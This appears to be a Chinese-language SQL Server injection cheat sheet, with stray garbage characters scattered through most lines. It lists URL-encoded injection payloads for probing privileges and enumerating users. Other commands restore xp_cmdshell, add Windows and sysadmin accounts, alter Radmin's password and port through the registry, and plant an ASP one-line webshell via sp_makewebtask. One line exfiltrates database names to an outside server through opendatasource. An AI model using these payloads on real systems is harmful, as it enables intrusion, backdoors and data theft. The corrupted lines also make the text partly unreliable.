//看看是什么权限的: n! k. s" [4 i# Q$ z
and 1=(Select IS_MEMBER('db_owner'))
( {* ?- m9 s: J8 xAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
; f( `* K; N, L" S! y7 ]4 V+ |5 `4 ~( R% o/ U
//检测是否有读取某数据库的权限
& `' }. ]5 ~ [! \) x) x% Kand 1= (Select HAS_DBACCESS('master'))8 q* M* P& Y+ m# T
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
7 t% t, x' k" I: m# L2 P
% b6 N% ]1 _, H$ g0 @2 I2 i( d
. j5 d0 h- g& p0 j1 K3 h9 I4 ^5 g数字类型
4 m8 p- T( v! u. Q: a* B( f j9 ?and char(124)%2Buser%2Bchar(124)=0
/ q7 t' o, V( p8 y
% L& [+ L* G! G ^字符类型8 l- W+ N0 B) |% m. L
' and char(124)%2Buser%2Bchar(124)=0 and ''='
S3 }& M9 `, k0 D
3 _6 B8 O* j0 P0 B搜索类型! h& [& ]6 R5 v7 t) ~
' and char(124)%2Buser%2Bchar(124)=0 and '%'=', B p% f$ X { n, D( ?
- O% k# V( o3 r' ]爆用户名6 a, L# j. q" z
and user>0- t$ H& S l) k, F
' and user>0 and ''='
6 U, o: S8 p4 H8 N" A2 Y( U4 u$ @7 z+ |8 \
检测是否为SA权限
6 I% P7 s8 E3 K. Xand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
8 X7 w' _" F5 K! eAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
5 O7 M5 v7 B( U
: }8 x" m' U/ W( p* r/ m+ A8 w- B% m检测是不是MSSQL数据库
) A* u# u* r& Mand exists (select * from sysobjects);--
. c6 O- w6 o5 Q% r4 s( P9 |$ N/ f, e- f9 e% T/ U4 r
检测是否支持多行
) S s- p0 z/ l& e- S. c;declare @d int;--
( j% l; p& O/ i3 z. ~( G
% C8 M6 }; l. ?# n8 m0 M2 c恢复 xp_cmdshell7 o+ S9 J& ~3 e" V5 _
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
- H3 ], l- b4 ^# g$ ?# G
+ R3 G5 j8 J- o2 W: a) {6 h1 d2 r2 ~% U$ n$ o# K+ t
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
% B' r' @/ b) C# L; f# ~- e' k. k& `$ O0 H. I/ B& J+ p8 Z
//-----------------------
# G; `) p! H4 p' @! d3 S% m) j// 执行命令) `- F) R/ r8 N h) B! \
//-----------------------' i( p1 z1 b, c% J J- P5 {8 t
首先开启沙盘模式:
7 I# }( S* s9 P8 K+ x" ]0 nexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# F, | \, P; `( C
, D6 W! H$ r0 [' s+ ~1 w1 x( W然后利用jet.oledb执行系统命令 ~, T" ^0 y( D: m
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
/ w) x+ v7 m! e* n4 M- w' h: m+ ]( R: d
执行命令- D% L' j& R* D0 B
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
. j# K9 M+ i" U# b
; W: i8 i/ c+ c0 F" B2 W. j) X2 rEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'5 Z" Q0 @- u. R9 z$ ~3 G- v: r
9 d# B! {, g; U判断xp_cmdshell扩展存储过程是否存在:
1 m& M! z! N; Z: uhttp://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
/ K- z' p& {) r" [. \- l9 E) i" d' A2 t
写注册表) U9 O! J' N9 ~* P1 ]
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
6 e6 i$ q$ W" ~; s
. k( ]7 n$ `( h4 cREG_SZ2 v F8 A- y$ E2 m; s' Y! U
# c* y8 ]' s+ j! O% ?0 m读注册表/ S: P# h& q0 s
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
* w" Z% B' _5 B+ w1 \% ?7 t4 x) P$ F$ o6 [1 N+ T8 `4 ~: r
读取目录内容# j0 Y0 D5 n$ {; W. O% g+ s
exec master..xp_dirtree 'c:\winnt\system32\',1,11 G$ o! p+ H+ @ u
, w% ~/ N/ R* \' n) s" _2 z: \5 f! ]2 V0 e% E6 ~3 p
数据库备份
, |( G3 q. e4 y" W5 Bbackup database pubs to disk = 'c:\123.bak'0 Q* N* B. ^6 S& W" ^" N
& U' k- G G: K, x; K
//爆出长度
6 H. B( n/ I5 G! \; i aAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
5 |1 q/ }6 l: s: W: z( T, B1 e0 y+ T8 a' c0 y2 ]+ C% m$ W
! {+ [( H& k. N, K7 ~: v
- x3 `8 b+ Z3 d4 X; w* f! K
更改sa口令方法:用sql综合利用工具连接后,执行命令:. @$ H" J9 g; @ e; Y9 S
exec sp_password NULL,'新密码','sa'! g% O+ D, M& s/ N. h
' f7 ^# v+ o3 }% _! u8 l
添加和删除一个SA权限的用户test:% `0 ~/ U" n& ^: s" F8 ` X
exec master.dbo.sp_addlogin test,9530772
4 c) ], @( s( S" H$ M( Oexec master.dbo.sp_addsrvrolemember test,sysadmin( ~; l9 d9 ~0 @
- N- Y6 q+ {* ^% l2 e9 P删除扩展存储过过程xp_cmdshell的语句:
8 c& X. j2 C; W( \& Z6 u6 Eexec sp_dropextendedproc 'xp_cmdshell'
+ y3 ^! ~* k$ X9 T4 M$ b! Y& P. n; y- `* J
添加扩展存储过过程$ H4 j- K# T4 G7 |# Z) J
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'" I1 Z5 k% Q* Q( W+ p
GRANT exec On xp_proxiedadata TO public
% s+ Q6 i) w& w% k" t9 k5 A" L9 f# `( v0 C+ k9 K' p8 f
8 n3 }& r) Q) ]2 P6 R' y停掉或激活某个服务。1 C+ y8 V& [" b
- v% A) V/ J) rexec master..xp_servicecontrol 'stop','schedule'
6 o& z! P7 ?4 w3 B$ hexec master..xp_servicecontrol 'start','schedule'( B+ U' ]4 W2 X5 K
9 k& s: U6 d5 ~: U
dbo.xp_subdirs4 v+ D( y+ H" k4 y. z
6 a+ U. l; ~( | h. o! |, Y/ v只列某个目录下的子目录。
s" y! Y2 e" ?9 Axp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'+ ]0 ]2 |' N2 F; z/ s
' @4 m4 p7 e. m/ d
dbo.xp_makecab; v+ m \9 f8 G% P5 E) Z# o
) G2 n' M# B+ H0 [& }
将目标多个档案压缩到某个目标档案之内。7 i2 K/ A2 t) f
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
1 `0 X$ d+ R% Q( K2 l) L/ z" _" p6 ?7 Q; M1 D# h
dbo.xp_makecab
: z4 m; m. P. h) z4 ~) G'c:\test.cab','mszip',1,
: A8 j& ^" g* R. H8 t'C:\Inetpub\wwwroot\SQLInject\login.asp',( E g/ Q, J6 ], Z
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
* Z: x# g7 {; b$ v8 {( P W
; M8 h' D& h7 V" n/ wxp_terminate_process
7 \) h U8 Q/ u4 s' F) D6 o
' h# a' t9 ?# I, I, N1 u5 w6 ^: @停掉某个执行中的程序,但赋予的参数是 Process ID。
& w* k, b0 M6 H利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID) v- X. a2 c }8 w; X
( u+ ?) m7 ? f7 x4 x. Cxp_terminate_process 2484: k) d$ j2 Q5 `
% k3 r+ S: S; @
xp_unpackcab
' c/ f, Y/ r& \6 y8 O7 R
3 d3 x( m; i4 e% B# x! r5 r解开压缩档。
4 I- J$ ]; j& a' a% g3 G
. O9 I# B; I1 C0 Q9 L+ [xp_unpackcab 'c:\test.cab','c:\temp',1: {+ z4 y$ b8 p3 ?
+ g7 ]' S2 i, y4 `- ?" X O
: U# @ Q- g/ G' k" ]7 I) u某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234 o; Q2 i! Y: O0 j, R
6 p$ N; _. u$ ^/ n1 Q- Lcreate database lcx;- K8 G$ ^# t% k5 H4 c: w- `
Create TABLE ku(name nvarchar(256) null);
' U& K+ f* K3 ]* m4 l$ X' T8 \ \Create TABLE biao(id int NULL,name nvarchar(256) null);
9 k% D3 U1 u4 ~. s- j3 O: \7 b
, }% k4 K4 }0 Y9 K% y8 }/ W//得到数据库名& s& z* s4 W" K5 S. J# z/ m
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases$ _. w$ t: t$ ?3 }5 Q
1 Q n0 ~2 W6 L: ~# w4 }
: B+ Q9 T5 w' Y1 [- ?+ {//在Master中创建表,看看权限怎样5 D1 `6 [ ]+ ~! J* W/ x/ E8 |
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
. U& R1 B) u2 z. u
. u* J$ u$ e3 p1 B用 sp_makewebtask直接在web目录里写入一句话马:6 q0 F; ]$ P) S( Y" D
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
: L% q) r8 C0 L5 }0 e: }( g( d! Z$ ]6 ^6 s' p
//更新表内容
) Z! ` |# [6 ?8 m: `( I( ~% iUpdate films SET kind = 'Dramatic' Where id = 1236 f. I7 X+ S+ c2 s5 u
. [; @8 n" V8 s D6 t//删除内容9 A2 @' z4 J- K- r' m* H' ?
delete from table_name where Stockid = 3 |